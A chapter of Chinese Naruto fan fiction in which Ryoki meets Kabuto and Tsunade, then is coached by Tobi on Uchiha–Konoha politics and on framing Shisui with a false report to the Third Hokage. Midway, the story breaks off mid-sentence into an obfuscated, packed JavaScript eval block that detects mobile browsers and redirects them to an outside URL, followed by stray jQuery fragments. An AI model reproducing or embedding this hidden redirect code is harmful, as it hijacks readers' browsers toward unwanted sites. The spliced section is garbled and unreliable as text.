凉纪侧过脸看向兜,他正认真端详着面前餐盘里的刺身,没有看她。
上次和兜见面还是三天前,兜离开村子时。明明只过了三天,凉纪却莫名觉得已经过了很久。大概是这几天事太多了吧。
“还不错。安排的任务我都能完成,和队长队友也没起什么矛盾。”凉纪说。
兜略显惊讶地瞥了她一眼:“你已经出任务了?”
凉纪不明所以:“是啊,怎么了?”
“我们从木叶离开后直接就朝着汤隐村出发了,今天下午到的这。我看你们只比我们晚几个小时,还以为你是刚好一加入就遇到队伍休假,然后一起过来了。”
“我们这次执行任务比较快,只花了一天时间。”
兜把目光转回眼前的盘子,问道:“你有没有遇到什么危险?”
凉纪回想着因为白眼不得不求助阿飞的时候,说道:“有一些难处理的地方,不过最后顺利完成了任务。你看,我身上一点伤都没有,刚结束任务,就能够来汤之国休假。”
“那就好。”兜说。凉纪才刚加入暗部,按理也不会给她安排太难的任务。
“你们打算在汤之国待几天?”凉纪问,“我们有一个月的假,这期间都会待在这里。”
“纲手老师说,在三天后的烟花大会之后,我们就离开。”
兜抬眼看向纲手,她正举起酒杯一饮而尽,面色酡红地对止水说:“可惜你还没到喝酒的年龄,不能陪我一起喝。”
“这样啊。”该了解的都了解了,凉纪把重心重新放回止水身上。
可惜直到饭局结束,他都没说出什么有汇报价值的话。
和纲手几人告别后,凉纪最后看了兜一眼,走向旅店。和凉纪说完话后,兜一直干巴巴嚼着刺身,从查克拉波动看,他似乎不太开心。他点的刺身很难吃吗?
她把几串鸡肉串递给兜,让他吃这个时,他又高兴起来。看来这家店的刺身确实不好吃,以后再来的话,凉纪不会点这个了。
上楼进了房间,凉纪拿出中忍制服,准备换上锻炼体术,阿飞突然出现在她面前。
阿飞?!
他怎么来了?
冷不丁看到他出现,凉纪吓了一跳,惊骇地说:“日向理生就在我们五公里以内,你就这样直接过来了?”
阿飞说:“放心,他现在正在街上逛街,没有开启白眼。”
吃饭的时候,凉纪感知到日向理生没有陪山月照影休息,而是出门了,大概是中途改了主意。不过理生具体有没有开启白眼,她就感知不到了。
“这样就好。”凉纪松了口气,分出一个影分身,拎起房间里的板凳,对阿飞说,“去你那吧。”
神威空间里,阿飞看着坐在板凳上的凉纪,问道:“你怎么突然变得这么讲究?”以前她和阿飞一样,都是直接坐地上的。
凉纪伸出手臂给他展示自己的浴衣,樱粉色的宽袖在手腕松松垂落:“我不想把这件衣服弄脏。”
阿飞这时才注意到凉纪的装束和平时不一样。他像往常那样随意坐到凉纪面前的地上,曲起一条腿把手搭上去,哀怨地说:“你倒好,可以在汤隐村悠闲度假,我在雾隐村忙得连喘口气的功夫都没有,连过来找你的时间都是硬挤出来的。”
阿飞还在雾隐村?凉纪一愣:“关于我身份的事不是已经处理完了吗?还有什么其他事情?”她心念电转:“是三尾和六尾相关?”
“差不多吧。”阿飞说,“我用幻术控制了枸橘矢仓,现在正在想办法统合和掌控雾隐村。”
这可差得远了……夺取尾兽和夺取一国的权力,虽然用的词一样,但内里完全不是一个概念。
不过,若是实力到达一定程度,或许这两者就是一回事吧?
忽然,凉纪联想到一件事,盯住阿飞的面具后的眼睛:“以妈妈的感知能力,她理当能够感知到枸橘矢仓附近经常出现一个陌生的查克拉。”
“确实如此。”阿飞说,“所以在她感知到之前,我提前告诉了她。”他从口袋中拿出一张卷轴和一张凉纪在水之国时写给他的纸条,“看来你妈妈对你的笔迹挺熟悉的。”
凉纪不自觉攥紧袖子,眸光微沉:“你利用我来控制我妈妈。”
阿飞看着仿佛护食幼兽般目露凶光的凉纪,把卷轴和纸条放回原处,轻笑道:“小姑娘,别这么紧张。如果我想对你母亲不利,就不会告诉你这件事了。”
“最好是这样。”凉纪抿了抿唇,切入正题,“你今天找我是为了什么?告诉我你占领了雾隐村?”
“当然是为了你。”
阿飞从口袋中又拿出一张纸,这是凉纪汇报接到监视止水任务的信件。在信件的最末,凉纪写她不确定应该如何向卡卡西报告,希望阿飞能给一些参考意见。“不是你写的希望我来教你怎么做这个任务吗?”
这貌似不是凉纪的原话,不过阿飞愿意亲自来教她也是好事。他一看就每个细胞都装满坏水,搞这种阴谋诡计应该挺在行的。她松开攥住袖子的手,放松下来。
“你先说一说你的思路吧。”阿飞说。
“其实我没有什么思路。”凉纪坦诚地说,“就是跟在止水身边,如果他有什么不合适的行为举止就记下来,然后尽量少报告他对木叶友善的行为和言论。”
阿飞伸出一根手指在凉纪面前摆了摆:“这样可完全不够。”
“那应该怎么做?”
“授人以鱼不如授人以渔,我先从最基础的开始讲起。
“要控制人,首先要有利用人心黑暗面的能力。有光的地方就有影,不管是什么样的人,内心都会萌生出黑暗。天下人所求的,无非就那几样——爱,理想,利益。当障碍物阻挡在所追求的光明面前时,暗影就会随之滋生。关键在于分析各方欲求,并作出合适的判断与选择。
“为了削弱木叶的实力,我选择的是挑拨宇智波和木叶高层,因为宇智波和木叶不和,我有机可乘。但为什么宇智波会和木叶不和?”
凉纪疑惑地说:“不都是因为你吗?当初是你让我向木叶透露,试图夺取九尾、杀死四代目的人是个宇智波。而且,原本关于此事的流言挺多的,有一天突然就只剩宇智波是凶手的流言了。我失忆时还以为是木叶高层想对宇智波下手,现在想来,应该是你想办法做了手脚。从那时起,宇智波一族和木叶就有了裂痕。”
阿飞摇了摇头:“这只是原因之一。如果那天是某个油女一族的人或者奈良一族的人动的手,你认为木叶会扩大到凶手之外的整个家族吗?”
凉纪愣住了。确实,她很难想象木叶会因此针对整个油女或者整个奈良。宇智波,似乎和木叶的其他家族是不同的。
“宇智波和其他家族是不同的。”阿飞说出了凉纪心里在想的话,“而这不同从建村起就已经注定。你知道木叶是怎样建立的吧?”
“知道。”凉纪在忍者学校的历史课学过,“千手一族和宇智波一族在长久的争斗中达成了和平协定,共同建立起忍者安居乐业的忍村,之后其他忍者家族纷纷加入,渐渐就形成了木叶村。”
“那么你应该可以想象,有多少宇智波和千手,死在了对方手里。”阿飞说,“仇恨是世界上最难以消弭的情绪之一,这点你应当最了解不过。更何况,千手和宇智波不是因为奈何不了彼此,再打下去就要同归于尽而达成休战,而是宇智波战败举族投降,千手柱间为了吸引其他忍族来投,刻意把投降协定修饰成了平等的和平协定。”
宇智波……是战败方?所有的历史课本里,都没有讲这件事。
“宇智波斑曾认为自己能够和千手柱间平等地分享木叶的权力,但所有人都知道,木叶的最高权力,只属于千手柱间。”阿飞说,“起初,千手柱间向宇智波斑许诺,会推举他成为第一任火影。但没有人对宇智波斑感到信服,甚至连宇智波的族人也是如此。理所当然地,初代火影之位最终还是归属于千手柱间。
“这是宇智波斑脱离木叶的导火索。他预感到宇智波一族将会离权力中心越来越远,想要号召宇智波的族人和他一起离开木叶,但沉溺于和平的族人没有愿意追随他的,最终,他孤身一人离去了。
“之后,他控制九尾袭击木叶,在终结之谷被千手柱间击败,许多人认为他就此死在了那里。
“为了防止宇智波再出现宇智波斑这样的人,二代火影千手扉间赋予宇智波一族特别的权力,让宇智波家族掌控整个警备队,以此展示他对宇智波一族的信赖。但这只是他削弱宇智波的策略,长期与宇智波作战的他,有太多亲人死于宇智波之手,他从来没有信任过宇智波。”
“给宇智波权力,反而是不信任他们?这是什么说法?”凉纪提出质疑。
阿飞问:“你知道写轮眼开眼的原理吗?”
凉纪摇摇头。
“忍者,即为忍受痛苦之人。痛越深,力量越强。而宇智波是其中最极端的那部分。当宇智波产生强烈的情绪波动,比如愤怒、悲伤、憎恨时,脑部会分泌特殊的查克拉,影响到视神经,眼睛由此生出变化。把宇智波陷在警备队中,就最大限度减小了宇智波开眼的可能。”
“可宇智波二战三战都有上战场。”
“确实如此。但在二战之前,长达二十年没有大范围战争,只有局部冲突。这期间,仅有极少部分宇智波能够出村执行危险的任务,这就造成了宇智波人才断代。”阿飞的语调没有情绪,显得异样地冷酷,“这是千手扉间的阳谋,他摆明了要削弱宇智波的实力。但比起力量,更多的宇智波宁愿安居一隅享受和平。他们最终同意了此事。”
凉纪能理解当时的宇智波。凉纪自身从不畏惧争斗,她跋涉至今,一一越过遍布的刀与剑,血与火。但有些人,她希望他们能走上更为宽敞平坦的大道。
凉纪沉默不语,听阿飞继续往下讲:
“他的政策还造成了宇智波与普通忍者之间的隔阂。执掌警备队,说得好听些是特权,说得难听些,就是对宇智波区别对待,视他们为异类。
“一个普通的木叶忍者,看到宇智波只需要在村里抓抓小偷强盗,就可以舒舒服服地过日子,而自己需要出村执行血腥的任务,他心里会是什么想法?确实,二战三战中,宇智波一族大多没有窝在村里,而是在战场上做了很多贡献,但宇智波一族也有庸人,而他们的庸人比起一般人过得好上许多。宇智波朝矢,你对他也算熟悉,他在宇智波中,可不是个例。
“在几大国休战,没有大规模战争的年月,仍然有危险的任务要执行。这个时候,宇智波的高手因为要负责警备队的工作,必须要留在村子里。如此一来,总有人会觉得,凭什么只有他们不用做高危任务?
“而宇智波一族本就是高傲的一族,对于这些流言,他们很少辩解,哪怕辩解也说不出什么好听的话。绝大多数宇智波都就职于警备队,人际关系中少有族外的忍者,也不会有其他人帮宇智波说话,这样一来,隔阂就形成了。
“经历二战三战,宇智波开眼忍者增多,实力增强,传承自宇智波斑的反叛思想渐渐死灰复燃。不满在族中蔓延,绝大多数宇智波都认为,他们不应该是现在的待遇。但因为路径不同,他们大体分成两派,可以称之为鹰派和鸽派。
“鹰派希望保留警备队权力的同时往外扩张,进而攫取木叶的最高权力——火影之位。鸽派认为若想更进一步,必须向木叶展示诚意,而且木叶也不可能让一个家族占据太多权利。他们倾向于解除宇智波的特权,让宇智波融入木叶。
“这是宇智波一族的现状,接下来,需要分析的是木叶。在千手扉间把宇智波排挤到警备队,从而削弱宇智波实力,并让他们无法进入情报、财政等其他重要部门时,有部分宇智波强烈反对这一政策。为了避免内乱,他让亲木叶的宇智波镜进入自己的护卫队,以继位火影的一线希望安抚宇智波一族。
“但在前往云隐村谈判,被金角银角追杀之际,他还是暴露了内心想法。他指定猿飞日斩为下任火影,直接断绝了宇智波继位的可能。理论上来说,火影是由木叶高层提名,上忍选举,这只是口头吩咐,不能作数。但在二代火影亲口表明意向人选的情况下,宇智波镜又怎么可能有任何当选的可能?
“最终,是猿飞日斩继任三代火影。不过,和二代火影不同,尽管他也有心狠手辣的一面,他对木叶的任何人都一视同仁的,他意识到长期对宇智波区别对待,定然会造成不利的后果,而他想在任上消除这隐患。”
阿飞凝视着凉纪:“我说到这里,你也该明白他的立场了吧?”
凉纪恍然大悟:“他一直致力于清除宇智波的特权,让宇智波离开警备队,进入木叶的各个部门。哪怕最开始都不是什么重要岗位,他们一步步往上走,总有进入核心部门的机会。他希望宇智波一族能够融入木叶,真正成为木叶的一份子。”
凉纪同时提出疑
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16682876|184034||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
问:“团藏和三代目一样,也想要消除宇智波的特权。他也相信宇智波一族吗?”
阿飞不屑一笑:“他继承了千手扉间对宇智波的偏见,却没有继承他的政治手腕,还以为警备队的权力对宇智波是大好事。在宇智波进入其他部门后,他肯定会阻挠宇智波的晋升,但忍者终归还是看实力说话,到那个时候,他就会知道他的行动和他的愿望背道而驰。
“不过,尽管猿飞日斩希望宇智波融入木叶,并一直朝着这个方向努力,在长达几十年的偏见中,矛盾已经积重难返。鹰派且不提,哪怕是支持融入木叶的鸽派,面对即将消失的特权,也会产生眷恋不舍,这本就是人之常情。但他们因此很难干脆利落地支持警备队改革,而是不自觉地这里阻碍一点,那里拖延一下。这就影响了改革的效率。
“与此同时,木叶的其他人常年对宇智波抱持着偏见,再加上波风水门之死与志村沙耶伽之死,这偏见只会更加严重。突然和宇智波共事,他们定然会产生频繁的冲突。
“哪怕三代目极力维持平衡,在团藏和宇智波鹰派也掺和进来的情况下,局面只会变得极为混乱。
“这就是木叶现在的情形,以猿飞日斩为首的亲宇智波派,以志村团藏为首的反宇智波派,宇智波一族的鸽派和鹰派,以及摇摆不定的墙头草,他们缠绕在一起,形成一团乱麻。
“而现在,我们要推动这团乱麻往我们想要的方向行进,让它坠入无底深渊。”
“具体要怎么做?”凉纪问。
阿飞反问凉纪:“你认为木叶高层是怎么看待止水的?”
“现在他们对他产生了怀疑,怀疑他是袭击玖辛奈老师的凶手。”
“在止水暴露出他有万花筒前,木叶认为他是哪个派系?”
“应该是鸽派吧,不然三代目不会让他进入火影直属暗部。”
“你说的不完全正确,不过此前木叶确实把止水视作鸽派。以此为前提,你要怎么汇报,才更有利于加深猿飞日斩的怀疑?”
凉纪说:“这就是我最开始问你的问题。”
阿飞叹了口气:“我向你分析了这么多,你一点想法也没有吗?”
凉纪眨巴着眼睛看着他。
阿飞无奈地说:“止水一直隐瞒着他拥有万花筒写轮眼一事。既然他已经隐瞒了第一件事,那么很容易推断,他也许还隐瞒了第二、第三件事。
“而对猿飞日斩来说,最关心的事情有两件。第一,止水究竟是不是那个晚上的袭击之人。第二,止水的政治立场。我们需要从这里着手。
“我先从第二点开始说起。你认为让木叶认为现在的止水是哪个派系,更有助于加深分歧?”
凉纪有些迟疑地说:“鹰派?”
“更准确的回答是,伪装成鸽派的鹰派,让猿飞日斩以为,宇智波止水是个表里不一,笑里藏刀之人。而且这也会同步消磨猿飞日斩对其他鸽派的信任。既然止水能够伪装,其他鸽派会不会也是如此?他们是否并非真心融入村子,只是没有能力夺权才退而求其次?如果再出一个像宇智波斑一样强大的忍者,他们会不会转而重新投入鹰派的怀抱?政治家总是多疑的,而在政治里,最忌讳的就是朝秦暮楚。”
凉纪听得有些晕晕乎乎的。她消化了片刻,问道:“我该怎么让三代目认为止水是鹰派伪装的鸽派?”
阿飞语气有些无奈:“总不能什么都我帮你想,你也得自己动动脑子吧。”
“你理论一套一套的,但实际怎么操作,你也不清楚吧。”凉纪说。
阿飞轻轻笑了笑:“激将法?这对我可不起作用。不过,既然你这么笨,我就提点你一下好了。现在鹰派和鸽派都共同关注着警备队改革,你装作不经意提起这件事,问止水对它的看法。无论他心里怎么想,他都不可能说他不支持警备队改革。你如实把他的话告诉猿飞日斩,但要在末尾添上一句——你通过神乐心眼感知到他在撒谎。感知谎言可是你的强项,你得把它用上才是。”
阿飞居然说她笨,凉纪从小到大从来没听过这样的评价。而且他最后一句是不是在讽刺她?凉纪有些不服气地咬了咬嘴唇,却只能冒着又被嘲笑的风险提出下一个问题:“不管我怎么提起警备队的事,都很突兀吧,止水肯定会怀疑的。”
阿飞没辙地摇摇头:“你不是遇上了你的前队友宇智波鼬吗?你问他有没有信心通过明年的中忍考试。以我对宇智波的理解,他绝对不会回答没信心。然后你再问他通过之后想要进入哪个部门,就可以顺理成章地引出警备队了。
“接下来是最关键的一点,如何让猿飞日斩以为止水就是凶手。你不能直接点明,而是要在三代目召见你的时候提出……”
“原来可以这样。”阿飞讲述完毕后,凉纪说,“在阴谋诡计方面,我远不如你,我得好好向你学习才是。”
“我就当你是在夸我了。”阿飞波澜不惊地应道。
“我感觉我们就像故事里阴谋算计主角的反派。”
“我们本来就是。怎么,你感觉自己的良心遭到了践踏?对止水于心不忍?”
凉纪移开目光,低声说:“我只是感慨下罢了。”
阿飞平静地说:“如果你心里不好受,那就这样想,一切都是我引诱的你,一切罪行都归根在我。你只是因为母亲的未来在我手里,不得不听令行事而已。不如说,这本就是事实。你只是被我诱骗到了歧途。”
他的声音不大,却在凉纪心里拨响“铮”的一声,震颤的余音缭绕不去。
她一向都独力背负着所有,从没想过让别人分担,也未曾想过会有人愿意替她承担。
她怔了怔,看了阿飞一眼,又收回目光:“感谢你的好意,但我不会推卸属于我自己的责任。我走上什么样的路,都是我自己的选择。”
阿飞黑洞洞的眼睛凝视着她:“既然你这么说,可不要因为心理因素拖我的后腿。”
凉纪说:“你交给我的任务,我什么时候失败过?”
阿飞开启万花筒,站起来走到凉纪身边,把手搭在她的肩膀上:“现在日向理生没有开白眼,正是你回去的时机。”
红光闪过,凉纪和椅子重新出现在房间里。
凉纪想起来还没有问阿飞他会不会须佐能乎。
这次没机会,以后再问吧。
她平铺直叙地写下今天止水的表现,传信给卡卡西。今天的汇报只是铺垫,明天才是重头戏。